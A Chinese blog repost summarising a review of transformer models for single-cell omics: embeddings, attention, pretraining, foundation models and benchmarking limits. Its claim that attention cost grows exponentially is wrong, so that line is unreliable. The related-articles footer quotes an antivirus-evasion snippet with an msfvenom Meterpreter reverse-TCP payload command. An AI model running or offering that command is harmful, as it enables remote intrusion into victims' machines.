Transformer在单细胞组学中干了啥?

news2024/11/16 11:38:33


—https://doi.org/10.1038/s41592-024-02353-z

留意更多内容,欢迎关注微信公众号:组学之心

研究团队和单位


综述简介

细胞表型参考图谱的构建(已有很多篇超百万级单细胞的多组学图谱),极大丰富了单细胞组学数据的数量和多样性,为研究复杂的细胞特性提供了巨大的数据资源。但是呢,虽然目前拥有丰富的数据,而且它们还在持续增长,但是目前的分析方法在捕捉各种大规模单细胞数据集的变化方面存在不足,不断的 push 新型计算策略的发展。

Transformer 已成为其他领域基础模型的首选架构,因为它们能够泛化到异构的大规模数据集。Transformer 最初是为自然语言处理 (NLP) 任务而设计的,最近被用作跨领域关键基础模型。基础模型是一种在广泛数据上训练的机器学习模型,通常通过自我监督进行训练,可以有效地适应各种下游任务,通常只需最少的额外训练。

基于Transformer的基础模型已成功应用于许多领域,包括计算机视觉、语音处理和时间序列分析,以及基因组学和蛋白质组学中的分类值序列建模。Transformer 能够利用大规模、异构的数据集,并能够跨领域推广到许多任务,它很可能会对单细胞组学分析带来革命性的改变。

所有这些域中的数据的一个显着特性是原始单细胞组学数据中不存在的,那就是顺序性,这带来了独特的且巨大的挑战。 Transformer 是否可以在单细胞建模这以生物-计算机交叉领域引发其它领域类似的转变呢?

用于单细胞组学的 Transformers模型的输入是一个或多个单细胞组学模态。Transformer 构成一系列 M 层,用于修改输入表示。单细胞 Transformers 模型通过自监督学习来理解和提取数据中的模式,例如预测细胞内一组基因的掩蔽表达,并且可以用于广泛的下游任务,无论是在细胞级别(例如细胞注释)还是在基因级别(例如基因功能预测)。

一、Transformer 架构概述

在单细胞生物学领域,深度学习已被广泛应用,自动编码器和Transformer架构是两种常见的模型。

自动编码器是一种无监督学习模型,通常用于降维和去噪处理。它通过将细胞的基因表达向量映射到低维潜在空间,并尝试从中重建输入数据,从而提取重要的生物学特征。

相比之下,Transformer架构利用自注意力机制,在处理单细胞数据时表现出更大的灵活性。它可以根据当前细胞类型的特征,自适应地调整基因之间的相互作用模式。Transformer中的编码器部分不会受到瓶颈的限制,因此能生成更具上下文意义的基因嵌入表示。这个表示能够捕捉每个基因在特定细胞环境中的表达模式,从而为基因剂量敏感性预测等任务提供了新的可能性。

1.基本架构

1.1 自动编码器

在单细胞 RNA-seq 数据中,每个细胞被表示为一个基因表达矩阵,自动编码器将其输入编码器部分,生成一个低维的潜在表示(latent representation),这相当于一个信息压缩的瓶颈层。解码器随后尝试从这个潜在表示中重建原始输入。这种结构能够提取出细胞数据中的全局模式,同时过滤掉噪声,从而生成有意义的低维度细胞特征表示。

1.2 Transformer 架构

Transformer 架构如何应用于单细胞数据呢?首先,单细胞数据经过嵌入处理,生成基因嵌入表示。接着,嵌入表示进入 Transformer 编码器,其中包括多头注意力(Multihead Attention)和前馈神经网络(Feed-forward)模块。通过多头注意力机制,Transformer 能够根据上下文信息来处理和整合基因表达数据,从而生成更加上下文化的基因嵌入表示。这些表示可以进一步用于分类任务,例如预测细胞是否为癌细胞。

1.3 多头注意力机制和原理

每个注意力头独立处理输入数据,并生成其特定的表示,最后这些表示会被连接在一起,形成更为丰富的上下文信息。这种机制使 Transformer 能够从不同的角度捕捉基因间复杂的相互作用模式。

注意力机制通过“查询”与“键值”对的相互作用,计算出注意力得分。这些得分决定了每个输入特征在上下文中的重要性,从而有选择地关注与当前任务最相关的基因表达特征。

1.4前馈神经网络

每个输入会经过一系列独立的神经网络层处理,生成最终的输出。前馈神经网络进一步增强了模型的表达能力,帮助生成更加细致和准确的基因嵌入表示。

1.5多头注意力应用于基因

不同的注意力头专注于不同的生物学过程,在基因级别任务中发挥作用。例如细胞周期、代谢、凋亡等,从而实现对基因表达的精确调控和解读。这为研究人员提供了在复杂细胞环境中理解基因功能和交互的新方法。

2.如何将单细胞 RNA 测序数据转化为适合 Transformer 模型输入的嵌入表示?

Transformers 是处理序列数据的强大工具,但在处理单细胞组学数据时,面临一些挑战,因为这些数据通常不是按序列排列的。为了适应这些非序列数据,研究人员开发了多种方法来将单细胞 RNA 计数数据嵌入到适合 Transformer 处理的格式中。

2.1 排序 (Ordering):

如图 3c 所示,每个基因被表示为一个可以学习的嵌入(token),这些基因嵌入根据其在单个细胞中的 RNA 读数水平进行排序。然后,对这些嵌入进行位置编码(positional encodings),类似于自然语言处理中的方法。这种方法在序列化数据时有一定的信息丢失风险。比如Geneformer 用这种方法:

—https://doi.org/10.1038/s41586-023-06139-9

2.2 值分类 (Value Categorization):

如图 3d 所示,基因的 RNA 计数数据通过“分箱”(value binning)过程被转化为适合 Transformer 处理的嵌入表示。这种方法允许我们在处理连续数据时,应用专门针对分类数据设计的方法。

  • 1.值分类的基本概念:

每个基因的 RNA 表达值被分配到连续的值区间(value intervals)中,这些区间可以是等大小的,也可以是根据细胞的表达特性自适应调整的。对于每个基因,都会有一个对应的基因嵌入表示,同时每个值区间也有其对应的嵌入表示。最终的嵌入表示 xi 是基因嵌入与值区间嵌入的求和。

  • 2.等大小区间 vs 自适应区间

等大小区间(Equally Sized Bins):如在 scBERT 中使用的,每个值区间的大小是固定的,这样可以确保模型在不同细胞中使用相同的区间划分标准。这种方法的优点是简单直观,但在一些情况下,大部分表达值可能集中在同一个区间,从而导致数据分辨率的大幅降低。

–https://doi.org/10.1038/s42256-022-00534-z

自适应区间(Adaptively Sized Bins): scGPT 中使用过,自适应区间是根据单个细胞的表达特性动态调整的。每个区间代表在一个细胞中所有基因表达的一个等量部分。这样的方法能更好地保留基因表达的语义信息,尤其是在不同测序批次之间进行比较时,自适应区间可以确保最高表达值总是对应于最高表达区间,从而更准确地捕捉数据的分布特点。

–https://doi.org/10.1038/s41592-024-02201-0

2.3 值投影 (Value Projection):

如图 3e 所示,第三种方法使用基因表达值的投影,将其与位置编码或基因嵌入组合起来。投影的结果通常是线性的,保留了原始数据的连续性。这种方法不降低数据分辨率,但其连续嵌入的效果尚未完全明确。TOSICA模型中就用到了:

–https://doi.org/10.1038/s41467-023-35923-4

2.4 特殊信息编码:

此外,图 3f 和图 3g 展示了一些模型如何引入特殊标记(special tokens)来编码附加信息,例如细胞类型或基因扰动。这些标记要么加入到每个输入嵌入中,要么直接与输入集进行拼接,从而为 Transformer 提供更多上下文信息。

3.基因和细胞注意力

3.1 Transformer 层的组成:

  • 注意力层(Attention Layer):这是 Transformer 的关键部分,通过“关注”输入嵌入中其他元素的关系,将每个元素(如基因表达的嵌入表示)转化为上下文相关的嵌入。注意力机制允许模型捕捉输入数据之间的依赖关系,从而生成上下文丰富的表示。

  • 前馈网络(Feed-forward Network, FFN):注意力层后,FFN 处理每个转换后的元素嵌入,进一步增强模型的表达能力。

3.2 自注意力机制的应用:

在单细胞组学中,输入嵌入通常对应于基因。通过自注意力机制,Transformer 可以捕捉基因之间的复杂关系,这为推断基因调控网络(GRN)提供了新的工具。

  • 多头注意力(Multihead Attention):如图 2c 和 2f 所示,多个注意力头可以捕获不同方面的基因-基因关系。例如,一个注意力头可能专注于细胞周期,另一个可能关注代谢过程。这种机制使模型能够从多个角度理解基因互动。

3.3 注意力的计算:

如图 2d 所示,注意力的计算过程包括线性投影的加权平均值。每个输入嵌入(如基因的表达值)通过注意力函数计算出一个注意力得分,表示其在特定上下文中的重要性。

计算注意力的复杂性会随着输入嵌入数量的增加而指数级增长,这在处理数千个基因时可能成为问题。为了解决这个问题,研究人员开发了更高效的注意力计算方法,如 FlashAttention、Performer 和稀疏注意力等。

3.4 实际应用中的问题

  • 可解释性问题:尽管注意力得分可以帮助推断哪些输入对输出结果重要,但随着 Transformer 的层数和注意力头的增加,可解释性变得更加复杂,注意力得分并不总能可靠地反映特征的重要性。

  • 计算与优化:随着 Transformer 模型在单细胞组学中的应用越来越广泛,研究人员在计算效率上也在不断创新。例如,DeepSpeed (用于 Geneformer)提供了对大模型和高维输入(如基因数量)的支持,而 FlashAttention(scGPT 和 Cell2Sentence中使用了) 和 Performer (用于 scBERT) 等方法则在优化注意力计算上取得了显著进展。

4.编码器和解码器

Transformer 最初被认为是编码器和解码器的组合,其中 Transformer 编码器和解码器由多个相同层的堆叠组成 5。编码器处理输入数据并生成潜在表示,解码器根据这些表示输出序列。编码器和解码器的架构略有不同,均基于多层注意力和 FFN。解码器与编码器的区别仅在于注意力组件,使用掩蔽注意力和编码器-解码器注意力代替编码器的注意力。掩蔽注意力限制了注意力机制,使得每个输出只能受到序列中前面元素的影响。

虽然编码器注意力仅对输入序列起作用,但编码器-解码器注意力允许解码器除了关注解码器自己的输入元素之外,还关注编码器的输出。该机制使解码器能够将其生成的输出与编码器生成的输入嵌入对齐。

到目前为止,大多数单细胞 Transformer 都依赖于仅编码器架构,该架构支持掩蔽语言建模 (MLM),这是一种有效的预训练策略。tGPT 和 scMulan 是例外,它们使用仅解码器模型。仅解码器模型允许生成条件数据,例如,给定细胞类型、供体年龄或测序技术的转录组谱。

某些模型使用基于编码器或解码器的 Transformer 层变体。例如,scGPT 使用受解码器注意力掩蔽启发的定制掩蔽注意力,允许自回归生成。

5.Transformer训练

如果有足够多的注释数据,则可以直接针对感兴趣的任务训练 Transformer。虽然包含数百万个观测值的单细胞数据集随时可用,但细胞注释通常有限且在数据集之间不一致。这使得通过 masked-token 或 next-token 预测 (NTP) 实现的自监督学习 (SSL) 对于单细胞建模是一种方法,因为它依赖于数据中的固有结构而不是人工注释。

一种非常常见的自监督预训练策略称为 MLM。MLM 策略是用 masked-token 嵌入替换部分输入token,并从最终嵌入(Transformer 输出) 中预测masked-token。许多单细胞 Transformer 中都使用了 MLM。Transformer 解码器和 Transformer 编码器-解码器模型中使用的另一种预训练形式是 NTP 任务。此任务假设输入是一个序列,并且模型经过训练以根据前面的 token 预测下一个 token。虽然有些模型在自监督预训练后有所改进,但其他模型即使没有自监督预训练也能取得最佳效果。同样,某些单细胞转换器利用 SSL 预训练,而其他模型仅以监督方式针对感兴趣的任务进行训练。此外,SSL 预训练可能无法提高某些任务的性能。

二、单细胞Transformer模型的应用

https://github.com/theislab/single-cell-transformer-papers

扰动建模(Perturbation Modeling)

在图 a 中展示了如何使用 Transformer 来预测基因在不同扰动(如药物处理或基因敲除)条件下的转录结果。具体方法是将一个代表扰动的可学习嵌入(图中标为 “Pert.”)与每个基因的嵌入(G1-G4)结合在一起。

每个基因嵌入代表该基因在给定条件下的表达特征。通过这种组合,Transformer 模型可以预测在扰动条件下基因表达的变化。最终,模型会输出调整后的基因嵌入,这些嵌入反映了因扰动而导致的基因表达变化。

跨批次和物种的数据整合(Data Integration Across Batches and Species)

图 b 展示了单细胞 Transformer 如何用于整合来自不同研究、组织甚至不同物种的单细胞分子谱数据。这在跨实验条件或跨物种进行比较分析时尤其重要。

通过使用特定的嵌入来表示不同的细胞来源或物种(图中不同颜色的细胞代表不同的批次或物种),Transformer 模型能够学习和统一不同数据集的特征,从而整合这些数据,实现更全面的生物学分析。

细胞级任务与基因级任务(Cell-level and Gene-level Tasks)

在图 c 中,Transformer 的 CLS(分类)标记输出被用于细胞级别的任务,例如细胞聚类、细胞注释和扰动效应预测。CLS 标记是一种特殊的嵌入,通常用于总结输入序列的信息,并被 Transformer 用于分类任务。

其余的基因嵌入则用于基因级任务,如基因功能预测、基因调控网络(GRN)推断等。通过这些任务,研究人员可以深入了解基因的功能及其在不同细胞中的调控作用。

注意力机制在 GRN 推断中的应用(GRN Inference via Attention Mechanism)

图 d 展示了 Transformer 中的注意力机制如何帮助推断基因调控网络(GRN)。注意力分数代表每个基因与其他基因之间的相关性或依赖性。
通过计算这些注意力分数,模型可以识别出在特定细胞环境中相互作用最密切的基因,并据此推断出潜在的基因调控网络。这对于理解基因间的复杂调控关系具有重要意义。

三、单细胞分析 + LLMs

除了使用在分子数据上训练的 Transformer 模型,人们还探索了使用在文本上训练的大型语言模型(LLM)来处理单细胞数据。虽然通常 LLM 被限制在自然语言处理的上下文中,但一些研究尝试将其扩展到任何顺序数据上,包括单细胞组学数据。

这些尝试的动机源于 LLM,特别是 GPT-4 的成功。GPT-4 已经在通用语言数据集上进行了训练,并显示出在多个领域解决复杂任务的潜力。它在没有特定任务训练的情况下,也在细胞类型注释和其他生物医学任务中表现出了良好的前景。

应用实例

  1. 通用 LLM 嵌入的应用:来自通用 LLM 的嵌入已经被证明在某些单细胞任务中具有实用性,例如批量整合、细胞类型分类和基因属性预测。这表明 LLM 在自然语言中编码的知识也可以在单细胞数据分析中发挥作用。

  2. Cell2Sentence 模型:早期的尝试包括将单细胞组学数据转换为文本,并在单细胞数据上微调预训练的语言模型。例如,Cell2Sentence 模型将细胞的转录组谱表示为按表达水平排序的基因序列。虽然这种方法与嵌入转录组数据的排序方法相似,但它允许添加额外的文本描述符,为模型提供更多上下文信息。

  3. 多模态转换器:除了将文本与组学数据相结合之外,研究还表明,在通用文本上预训练后,再在生物医学文本、成像和基因组数据上进行训练的多模态转换器,能够在多个生物医学任务中表现出显著优于通用转换器的性能。

尽管上述结果表明,利用通用语言模型作为专用单细胞模型的基础具有前景,但仍然存在如何有效地将文本数据和以文本为中心的模型与单细胞组学数据相结合的挑战。单细胞组学数据与自然语言有显著不同,因此如何在这两者之间架起桥梁仍是一个需要深入研究的课题。LLM 的成功为单细胞数据建模提供了新的视角,早期的尝试已经展示了其潜力。然而,进一步研究如何优化这些模型,以更好地处理单细胞组学数据,并实现跨领域知识的有效整合,将是未来发展的关键。

四、基础模型

基础模型是最近提出的一类人工智能(AI)系统,它们在大量多样化的数据集上进行训练,以便在无需人工注释的情况下学习模式。这些模型经过大量未注释数据的训练后,可以通过少量数据适应多种任务,相比从头训练模型所需的数据量要少得多。

Transformer 作为基础模型的首选架构

Transformers 是构建基础模型的首选架构。BERT 和 GPT-4 等自然语言处理的 Transformer 架构,Whisper 用于语音识别,以及 Vision Transformer 用于图像识别,都是这类模型的典型例子。尽管近年来也有研究尝试使用其他架构(如图神经网络,GNNs)来开发基础模型,GNNs 在基因调控网络(GRNs)、分子结构和空间转录组学中的细胞间通信建模方面显示出潜力,但在处理大规模、多样化数据集的可扩展性方面,GNNs 尚未达到 Transformers 的水平。

单细胞基础模型的应用

单细胞基础模型是一种通过大量数据训练的机器学习模型,能够有效适应单细胞研究中的各种应用。最近有多个单细胞模型声称是基础模型,它们大多基于自动编码器或 Transformers 架构。例如:

  1. SCimilarity:基于自动编码器的模型。

  2. GeneCompass:使用 12 层 Transformer 架构和超过 1 亿个参数进行训练,它使用了迄今为止最大的预训练数据集,包含超过 1.2 亿个单细胞转录组。、

  3. UCE55:目前最大规模的单细胞 Transformer,拥有 33 层和 6.5 亿个参数,训练数据包含 3600 万个细胞。

尽管这些单细胞 Transformers 模型及其训练数据集已经相当庞大,但与自然语言处理中的模型相比仍然相对较小。例如,PaLM 模型具有 112 层和约 5400 亿个参数。此外,单细胞基础模型独立的基准测试表明,这些模型往往不如那些更简单、专门为特定任务设计的模型。这些专用模型不仅需要更少的训练数据和计算资源,还在许多任务上表现得更为出色。

基础模型,尤其是基于 Transformers 的模型,已经在单细胞研究中展现出巨大的潜力。然而,目前在单细胞组学中使用的基础模型仍面临挑战,需要进一步优化,以便在处理特定任务时与专门模型竞争。同时,如何在模型规模和实际性能之间找到最佳平衡,将是未来研究的重要方向。

五、当前的局限性和模型能力评估

Transformer 在单细胞组学中的应用前景和挑战

虽然 Transformer 在单细胞组学中的潜力已经显现,但这个领域仍处于初期阶段,并面临一系列限制。例如,目前尚不清楚在应用 Transformer 模型时,所需的序列结构来源于何处。现有的方法,如基因排序以将表格数据转换为序列,或者按染色体位置对基因排序,可能只是初步的解决方案。

要评估 Transformer 在单细胞组学中的附加值,需要进行严格的评估。这不仅有助于回答多个方法学问题,如最佳数据编码方式、模型架构和训练过程,还能评估 Transformer 在生物学相关的单细胞应用中,是否能够超越现有的方法。

模型评估与基准测试

尽管 Transformer 可以在大规模数据集上进行训练,但一个关键问题是:当非 Transformer 方法在相似的数据集和计算资源下训练时,它们是否能产生可比或更好的结果。为了回答这个问题,已经进行了一些 Transformer 模型的基准测试。

初步结果表明,尽管单细胞 Transformer 可能能够跨数据集进行泛化,但最先进的任务特定模型以及诸如逻辑回归等简单模型,往往在许多任务上表现得更好,甚至在注释较少的任务上,Transformer 的零样本性能也存在疑问。值得注意的是,尽管 SCimilarity 是基于自动编码器架构,但在经过大规模数据集训练后,它在整合多样化的单细胞数据集方面表现出了潜力。

现有基准测试的局限性

尽管模型评估至关重要,现有基准测试设计中仍存在多个问题:

  1. 竞争模型评估不足:比较中经常跳过对竞争模型的超参数调优,并忽视了一些最先进的模型,如用于分类的 XGBoost 和逻辑回归,以及用于降维和表示学习的主成分分析(PCA)和变分自编码器(VAE)如 scVI。

  2. 生物学任务的指标和基准不足:许多生物学任务,如扰动效应预测,缺乏普遍认可的评估指标和基准。

  3. 缺乏大规模、多样化数据集的评估:这可能会影响对声称具有广泛单细胞能力的模型的性能评估。例如,最近提出的大规模基准测试已用于细胞类型分类。

  4. 数据泄露问题:特别是在大规模单细胞模型中,由于这些模型在预训练阶段利用了大量数据,可能很难确保在评估中使用的数据或高度相似的数据集之前未被模型看到和记忆。

  5. 基准测试的资源密集度:由于资源需求高以及原始文献中使用的数据集、代码和模型权重获取困难,基准测试本身也变得复杂。

此外,除了直接对组学数据进行建模的模型外,对生成性语言模型在单细胞任务上的评估也存在独特的挑战。由于这些模型通常在文本生成任务上进行训练,它们的输出可能不符合所需的格式。此外,许多最先进的语言模型并未公开提供,而通过提供的接口获得的结果可能会随时间变化,因此在单细胞任务中对 LLM 的评估需要特殊调整。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2043131.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

WEB渗透免杀篇-Python源码免杀

Base64编码Pyinstaller打包 MSF监听需设置自动迁移进程 set autorunscript migrate -n explorer.exe msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.0.108 LPORT12138 -f c -o /var/www/html/1.cShellcode粘贴在shellcodebase64c.py中 python…

Element UI导航菜单刷新就复原问题解决方法~

1、首先要知道为什么一刷新就复原了,是因为default-active属性设置的是默认值,是一个死值,一旦刷新就会复原,造成高亮不能保持,那么怎么解决呢? 2、很简单,无需像一些博主一样绑定path。思路&a…

本机电脑,代码仓库,服务器三者代码同步流程

本机电脑,代码仓库,服务器三者代码同步流程 本机电脑将代码push到代码仓库从代码仓库clone或者pull代码服务器(非必要但习惯于)本机电脑通过ssh远程连接服务器进行操作 关于密钥:(通过ssh的密钥同步代码不…

Linux系统驱动(十八)SPI总线(未整理)

文章目录 一、SPI总线协议简介二、SPI子系统驱动(二)SPI子系统API(三)SPI设备树节点 三、代码示例 一、SPI总线协议简介 高速、同步、全双工、非差分、总线式 传输速度在几十M 差分总线和非差分总线 非差分总线:受压…

微信小程序开发了支付系统(必须要进行发货管理)

开发了一个小程序,然后必小程序支付后,一定要发货?线上购买线下取货如何发货? 这其实就是你服务类目选择错了,有的分类是必须要有发货管理的,但是有的就不需要,所以有些时候微信的规则还真的挺…

【vue】h 函数的使用

文章目录 1. 引言2. h 函数3. h 函数的使用3.1 v-if3.2 v-for3.3 v-on3.4 组件3.5 渲染插槽 4. h函数的使用场景参考链接 1. 引言 在绝大多数情况下,Vue 推荐使用模板语法来创建应用。然而在某些使用场景下,我们真的需要用到 JavaScript 完全的编程能力。…

C++ 面试题常用总结 详解(满足c++ 岗位必备,不定时更新)

📚 本文主要总结了一些常见的C面试题,主要涉及到语法基础、STL标准库、内存相关、类相关和其他辅助技能,掌握这些内容,基本上就满足C的岗位技能(红色标记为重点内容),欢迎大家前来学习指正&…

01 网络编程-概念引入

目录 1、互联网与物联网 2、计算机网络分类 (1)按地理范围分类 (2)按网络拓扑分类 (3)按网络用途分类 3、套接字 4、网络的七层模型(OSI--国际化标准) 5、TCP/IP四层协议栈 …

qml ChartView实现动态数据曲线

文章目录 一、qml静态数据曲线二、qml ChartView实现动态数据曲线三、使用C++给曲线提供数据更多qml教程,请参考QML入门进阶教程专栏:https://mingshiqiang.blog.csdn.net/category_9951228_2.html 本篇博客介绍使用qml实现动态数据曲线,效果图如下: 本篇博客代码通过C+…

DolphinScheduler3.2.2在centos7上伪集群部署

DolphinScheduler 是一个分布式易扩展的可视化工作流任务调度系统。集成了很多数据处理常用的功能,包括定时任务,脚本执行,错误预警等。 它具有以下一些主要特点和优势: 分布式架构:支持大规模任务的调度和管理&#…

centos7卸载docker报错No Packages marked for removal

执行: yum -y remove docker* 报错: No Packages marked for removal 执行: yum list installed | grep docker yum remove -y docker-ce.x86_64 docker-ce-cli.x86_64 containerd.io.x86_64

进程的退出以及线程

接上节: 1.wait 本身是一个阻塞操作,谁调用它就会使调用者阻塞 2.父进程要获得子进程的退出状态 要两个进程配合操作: 子进程: exit(退出状态值) 退出状态值 只有最低为有效,范围为[0-255] 父进程 wa…

<Qt> 系统 - 网络编程 | 音视频

目录 前言: 一、QUdpSocket (一)核心 API 概览 (二)设计一个UDP回显服务器 二、QTCPSocket (一)核心 API 概览 (二)设计一个TCP回显服务器 三、HTTP Client 四、…

javaer快速入门 goweb框架 gin

gin 入门 前置条件 安装环境 配置代理 # 配置 GOPROXY 环境变量,以下三选一# 1. 七牛 CDN go env -w GOPROXYhttps://goproxy.cn,direct# 2. 阿里云 go env -w GOPROXYhttps://mirrors.aliyun.com/goproxy/,direct# 3. 官方 go env -w GOPROXYhttps://goproxy.…

【自动驾驶】自定义消息格式的话题通信(C++版本)

目录 新建消息文件更改包xml文件中的依赖关系更改cmakelist文件中的配置执行时依赖改变cmakelist编译顺序发布者程序调用者程序新建launch文件程序测试 新建消息文件 在功能包目录下,新建msg文件夹,下面新建mymsg.msg文件,其内容为 string …

机械行业数字化生产供应链产品解决方案(十六)

我们的机械行业数字化生产供应链产品解决方案通过全面应用物联网、人工智能和大数据技术,构建了一个高效的智能生产与供应链系统,能够在设计、生产和物流全环节中实现实时数据监控与动态优化。系统通过智能分析和预测,优化了生产计划和资源配…

Linux系统驱动(十九)块设备驱动

文章目录 一、块设备驱动简介(一)简介(二)块设备驱动相关概念 二、块设备驱动(一)框架图1. 虚拟文件系统(VFS)2. Disk Cache:硬盘的高速缓存3. 映射层(mappin…

IP代理如何增强网络安全性?

在当今的数字时代,网络安全已成为一个关键问题,而使用 IP 代理可以成为增强网络安全的有效方法。根据请求信息的安全性,IP 代理服务器可分为三类:高级匿名代理、普通匿名代理和透明代理。此外,根据使用的用途&#xff…

NT35510的LCD函数详解01(洋桃电子-触摸屏开发者笔记)

NT35510的LCD函数详解01(洋桃电子-触摸屏开发者笔记) 资料下载: 洋桃电子 YoungTalk 探索最好的 STM32 教学 (doyoung.net) 接口类型 NT35510 数据手册(英文).pdf NT35510 应用手册(英文).…

Jenkins持续集成工具学习

一、从装修厨房看项目开发效率优化 二、持续集成工具 三、JavaEE项目部署方式对比 四、Jenkins+SVN持续集成环境搭建